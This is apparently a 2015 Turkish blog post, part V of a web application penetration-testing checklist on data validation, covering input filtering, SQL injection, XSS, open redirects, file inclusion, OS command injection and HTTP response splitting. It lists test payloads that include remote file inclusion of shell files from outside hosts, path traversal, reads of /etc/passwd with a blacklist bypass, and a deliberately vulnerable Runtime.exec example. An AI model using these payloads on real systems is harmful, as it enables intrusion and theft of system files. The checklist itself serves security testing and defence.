Sızma Testleri (Pentests): Web Uygulama Sızma Testleri İçin Kontrol Listeleri

Checklist for Web App Pentesting - V

6. Veri Denetimi (Data Validation) Testleri

6.1 Girdi Denetimi

Bütün girdiler denetlenmelidir. Girdiler URL adresi içindeki parametreler ya da POST verisi içinde gönderilen herhangi bir değişken olabilir. Özel POST veri formatları da bu kapsam dâhilindedir. (Örneğin JSON verisi)
Kod içinde
```
s/<script>//g;
```
şeklinde sakıncalı kontroller olmamalıdır. Pozitif kontroller çok dikkatli kullanılmalıdır. Bu tür kısıtlamalar gözden kaçacak açıklıklar içerebilir.
Farklı açıklık ve diller için mutlaka denetlenmesi gereken karakterler:

SQL Injection	OS Commanding	LDAP	Other
% (Wildcard) _ (Wildcard) [ (Escape MS SQL) ) (İşlem Ayracı) ( (İşlem Ayracı) @ (MSSQL F/Değişken) ; (Birden fazla komut çalıştır) + (Metin Birleş.) = (Eşittir) < (Kıyas Operatörü) > (Kıyas Operatörü) # (Yorum) -- (Çift tire, Yorum) /* (Yorum) \0 \r \n \t \h	' (Parametre Atama) " (Parametre Atama) ` (Komut Çalıştırma) \| (Pipe, Komut Çalıştırma) > (Çıktı Yönlendirme) < (Girdi Yönlendirme) * (Wildcard) ? (Wildcard) ; (Komut Birleştirme) $ (Değişken Adı) . (Dosya Yolu Değiştirme) !& (Komut Birleştirme ) () \0 \r \n	* = () \| & " ; <= <= ~= :	Null-Byte \0, URL-enc: \r, URL-enc: %0a \n, URL-enc: %0d \t, URL-enc: %09

6.2 Sunucu Tarafı Girdi Denetimi

Girdi denetimi istemci tarafına ek olarak sunucu tarafında da yapılıyor mu?
İnternet tarayıcıdan gönderilen herhangi bir alanın uzunluk kontrolü yapılıyor mu?
İnternet tarayıcıdan gönderilen herhangi bir alanın veri tipi kontrolü yapılıyor mu?

6.3 Çıktı Denetimi

Çıktı denetiminde hedef, internet tarayıcıya kaynak kodu içinde gönderilen ve sayfanın yazılımsal olarak öngörülmüş kodunun dışında özel karakterlerin herhangi bir dilin kod bileşeni olarak yorumlanmasını engellemektir.
Aşağıdaki 5 karakterin çıktı denetimine tabi tutulması yeterli olacaktır:
```
& ==> &amp;
< ==> &lt;
> ==> &gt; 
" ==> &quot;
' ==> &#39;
```

6.4 Değiştirilen İçeriğin Tespiti

Aşağıdaki koşulların gerçekleşmesi durumunda, işlemin gerçekleştiği oturum kapatılmalı ve ilgili yetkililer işlemden haberdar edilmelidirler:

Ek bir form alanı ile karşılaşıldığında ya da bir form alanının eksik olduğu fark edildiğinde;
Oturum çerezi öngörülenden farklı değerler içerdiğinde;
Değerleri belli form alanlarına (Örn. HIDDEN, SELECT, CHECKBOX) beklenenden farklı değerler atanmış olduğunda;
Site içinde özel bir eylem gerçekleştiren taleplerin GET, POST, COOKIE kaynakları (Host, Referer v.s) beklenenden farklı bir değer içerdiğinde.

Bu tarz önlemlerin varlığı kontrol edilmelidir. Bu durumlar gerçekleştiğinde "Mininum Bilgi Prensibi" uyarınca, detaylı bilgi döndürülmemeli. Oturum sonlandırılsa bile 200 hata kodlu normal bir sayfaya /anasayfa) yönlendirme yapıldığı kontrol edilmelidir.

6.5 SQL Enjeksiyonu

Uygulama kodunda aşağıdaki gibi doğrudan SQL tümceleri çalıştırılan durumlar olup olmadığı tespit edilmelidir:

executeQuery("sql tümce...")
execute("sql tümce...")
executeUpdate("sql tümce...")

6.6 URL Yönlendirmeler

http://www.sirket.com.tr?url=http://apps.sirket.com.tr/finans

şeklinde olabilecek URL yönlendirmeleri:

Sadece bilinen bağlantılar için kullanılmalı ve sunucu tarafından değeri mutlaka kontrol edilmelidir.
Best practice olarak, sayfa URL adresi yerine bilgilerin bir tabloda (sunucu tarafında) tutulması ve bu adreslerin “id” değerleri ile çağrılması daha doğru olacaktır. Örneğin http://www.sirket.com.tr ?url_id=3 adresinde id=3 >> http://apps.sirket.com.tr/finans
Tam URL yerine yerel bir adres ile yönlendirme yapılabilir. Örneğin http://www.sirket.com.tr?url=/apps/finans.html ve finans.html sayfası dahili olarak yönlendirmeyi gerçekleştirebilir. Diğer taraftan, sabit adresin sunucu tarafında eklenmesi ile de ilgili koruma sağlanabilir.

6.7 XSS (Cross Site Scripting) Enjeksiyonu

Sayfanın herhangi bir alanına istem dışı olarak Javascript kodunun eklenmesine izin verecek uygulama açıklıkları olarak özetlenebilir.

GET ve POST isteklerinde bulunan bütün parametreler için testler gerçekleştirilmelidir.

Şu çok önemli: birilerinin input girdiği, başkalarının bu inputu okuduğu bir arayüz var mı? Mesajlaşma gibi mesela.
Sadece form alanları değil,

URL sorgu parametreleri,
HTTP başlıklar,
Cookiler de birer girdi alanlarıdır, göz ardı edilmemelidir.

Bir uygulamanın arama motoru, XSS saldırıları için birincil hedeftir.

Hata sayfaları da çoğu zaman XSS saldırılarının hedefidir:

http://website/inc/errors.asp?Error=Invalid%20password
http://website/inc/errors.asp?Error=<script src="...

6.8 Kod Enjeksiyonları

PHP uygulamalarda en fazla sömürülen açıklık türüdür.

Remote File Inclusion (RFI): .....?id=http://hack.com/myshell.txt. Sona bir null karakteri (YüzdeSıfırSıfır) eklenir; null, satır sonu anlamına gelir. Uygulama, dosya adının sonuna ".php" koyuyorsa bile null karakteri ile satır sonlandığından bu uzantı dikkate alınmayacaktır.
PHP için URL sonuna "?" de konabilir; bu karakterden sonrası query string olarak algılanacaktır.

Test için bazı kod enjeksiyonu parametreleri:

?file=.htaccess
?file=../../../../../../../../var/log/apache/error.log
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
?file=php://filter/convert.base64-encode/resource=index.php (sayfanın base64 encoded halini döner, onu da burp vb aracından decode ederiz)
?file=http://websec.wordpress.com/shell.txt%23

6.9 İşletim Sistemi Komut Enjeksiyonu (OS Commanding)

Saldırganın izinsiz olarak web uygulamasını kullanarak işletim sisteminde komut çalıştırması olarak tanımlanabilir. Bu açıklık, uygulama yazılımının kullanıcıdan gelen girdiyi kontrol etmeden işletim sistemine göndereceği komutları oluşturmak için kullanması ile oluşur.

Örnek bir kod:

public String executeCommand(String hostName) {
    Runtime rt = Runtime.getRunTime();
    rt.exec("cmd.exe /C nslookup " + hostName);
}// Kullanıcıdan alınan hostName parametresi herhangi bir kontrole tabi tutulmadığı için OS Commanding injection açıklığına tamamen açık.

Şu teknikler kullanılarak bu açıklık için gerekli testler yapılmalıdır:

?id=/bin/ls | (| operatörü özellikle Perl tabanlı uygulamalarda kullanılabilir)
?id=;cat /etc/passwd (Unix tabanlı işletim sistemleri üzerinde)
?id=; cat /../etc/X11/../passwd (Kara liste yönetmiyle komut enjeksiyonu saldırılarını engellemeye çalışan uygulamalarda /etc/passwd dizgisi kara listededir, bu şekilde bir ayak oyunuyla kara liste kolayca aşılabilir)
"?id=| dir C:\" yada "?id=|| dir C:\" yada "?id=& dir C:\" yada "?id=&& dir C:\"

6.10 Diğer Enjeksiyonlar

Uygulamanın kullandığı araç ve çatılar göz önünde bulundurularak aşağıdaki ve benzeri enjeksiyon türleri için de gerekli testler gerçekleştirilmelidir:

LDAP
XML
XPATH
IMAP/SMTP
Buffer Overflow

6.11 HTTP Yanıt Bölme Saldırısı (HTTP Response Splitting)

Bir GET ya da POST talebi parametresinin değeri, yanıtın başlık kısmına ekleniyor ise, (Örneğin Location başlık değerine eklenip, sayfa yönlendirmeyi kontrol ediyor ise) ve bu başlıktan gelen veriler girdi denetimine tabi tutulmuyor ise html kod enjekte etmek mümkündür. Örneğin:
```
Cookie: SessionId=a2kfc339fa;arayuz=normal
```
şeklinde bir çerez değerinde bulunan “arayuz” parametresi, kullanıcıya gösterilecek arayüzü belirlemek için kullanılıyor ise
```
Arayüz=normal%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>istenilen%20kod%20yazilir</html>
```
şeklinde gönderilerek, birden fazla yanıt döndürülmesi ve bu sayede de kullanıcı tarafından bu yanıtın çalıştırılması sağlanabilir. Özellikle internet sayfalarını kaşeleyen (cache) bir uygulama (squid web cache gibi) var ise, istemcilerin yanıltılması mümkün olabilir.

Sızma Testleri (Pentests)

7 Nisan 2015 Salı

Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V